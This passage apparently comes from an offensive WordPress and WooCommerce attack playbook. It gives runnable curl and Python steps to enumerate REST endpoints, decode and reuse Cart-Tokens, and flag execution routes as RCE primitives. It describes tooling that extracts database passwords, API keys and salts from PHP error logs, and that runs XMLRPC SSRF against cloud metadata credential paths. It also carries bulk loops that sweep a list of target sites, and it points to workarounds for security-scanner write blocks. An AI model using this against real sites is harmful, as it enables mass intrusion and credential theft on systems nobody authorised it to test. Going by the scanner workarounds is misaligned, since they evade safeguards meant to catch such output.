/ssr → Server-Side Rendering (potential SSTI/SSRF)
/export → Data export (potential PII leak)
/options → Configuration options (potential info leak, WC Admin returned PHP 500 without auth)
/batch → Batch processing (potential mass assignment)
/patterns → Code patterns (wc/private/patterns)
Step 3 — Check every namespace for public endpoints (even 401 is useful):
HTTP 401 confirms the plugin exists AND that its authentication middleware is active. HTTP 500 without auth = potential info leak (WC Admin options endpoint returned PHP 500 error on no-auth calls). HTTP 200 on ANY namespace endpoint = data accessible without credentials.
Step 4 — Exploit the WooCommerce Cart Token (novel technique):
The WooCommerce Store API /wc/store/v1/cart returns a Cart-Token header on every response — a JWT-like Base64-encoded token:
import requests, base64
r = requests.get("https://TARGET/wp-json/wc/store/v1/cart", verify=False)
cart_token = r.headers.get("Cart-Token", "")
# Decode the JWT payload
parts = cart_token.split('.')
padding = 4 - len(parts[1]) % 4
payload = parts[1] + ('=' * padding if padding != 4 else '')
decoded = base64.urlsafe_b64decode(payload)
# Returns: {"user_id":"t_...","exp":...,"iss":"store-api","iat":...}
Use the Cart Token to interact with cart endpoints:
curl -sk -X POST "https://TARGET/wp-json/wc/store/v1/cart/add-item" \
-H "Content-Type: application/json" \
-H "Cart-Token: $TOKEN" \
-d '{"id":32990,"quantity":1}'
Even if products aren't purchasable (catalog-only sites that sell through retailers), the endpoint itself confirms the cart system is operational. The Cart Token also confirms the Store API uses token-based sessions — try the token on checkout, coupon, and customer endpoints.
Step 5 — Exploit Yoast /get_head (public info leak):
curl -sk "https://TARGET/wp-json/yoast/v1/get_head?url=https://TARGET/"
Returns SEO meta tags including title, description, robots directives — for ANY URL on the site. Works without authentication. Use to enumerate post/page metadata at scale.
Step 6 — Decode every token you find:
Cart tokens, JWTs, OAuth state parameters, and even error messages often contain Base64-encoded data. A 30-second decode can reveal user IDs, expiry timestamps, issuer info — and potential forgery vectors.
Step 7 — Probe execution-oriented route patterns:
Routes containing run, execute, install, import, migrate, ssh, shell, eval, exec are high-value targets. Even if they return 401 (unauthorized), the endpoint EXISTS — meaning it works once you obtain credentials. Document these as "post-auth RCE primitives".
When to Go Back to Brute Force
Only return to brute force after ALL namespaces are enumerated AND at least 3 lateral techniques have been exhausted. The brute force was never the endgame — it was the first door that happened to be locked. The side door (lateral enumeration) is usually wide open.
Tools & One-liners
See references/wp-mass-recon-pipeline.md for the batch sweep script, CVE matching matrix, and multi-vuln detection pipeline.
See references/wp-deep-followup.md for the multi-target Wave 2 deep followup probe script with parallel dispatch and report generation.
See references/wave9-sector-rankings.md for empirical sector vulnerability rankings, rate limiting data, UA block rates, exploitable combo table, and technique success/failure inventory.
See references/tirith-scanner-workarounds.md for handling security-scanner write blocks when your findings/reports contain raw IPs, SSRF targets, or embeded PoC payloads.
The reusable Python probe script scripts/wp-multi-deep-probe.py now includes:
scan_error_log() — Deep credential extraction from PHP error_logs: extracts DB_USER/PASSWORD/HOST/NAME, API keys (Stripe, Google, AWS, JWT), WordPress salts, SQL queries, email addresses, server paths, PHP error type breakdown, and date range analysis. Pass the raw error_log text and get back structured findings.
xmlrpc_ssrf_matrix() — Tests ALL 15 cloud metadata/internal SSRF endpoints via XMLRPC pingback: AWS IMDSv1 (/latest/meta-data/, /latest/user-data/, /latest/dynamic/instance-identity/document, /latest/meta-data/iam/security-credentials/*), GCP metadata (metadata.google.internal with token path), and localhost ports (:8080, :9000). Returns per-endpoint faultCode.
port_scan_http() — Port scan with automatic HTTP probe on open ports. Tests common service paths (/api/, /login, /admin, /health, /swagger.json, /graphql) on each open port.
- CORS matrix now covers plugin-specific namespaces (solidwp-mail/v1, gf/v2, gravity-pdf/v1, hostinger-tools/v1).
# wpscan (full scan)
wpscan --url "https://$TARGET" --api-token "$WPSCAN_API_TOKEN"
# nuclei WP templates
nuclei -u "https://$TARGET" -t ~/nuclei-templates/http/wordpress/
# CORS bulk check
cat targets.txt | while read t; do
result=$(curl -sk -I "https://$t/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -c "Access-Control-Allow-Credentials: true")
[ "$result" -gt 0 ] && echo "[CORS] $t"
done
# XMLRPC bulk check
cat targets.txt | while read t; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$t/xmlrpc.php")
[ "$code" = "200" ] && echo "[XMLRPC] $t"
done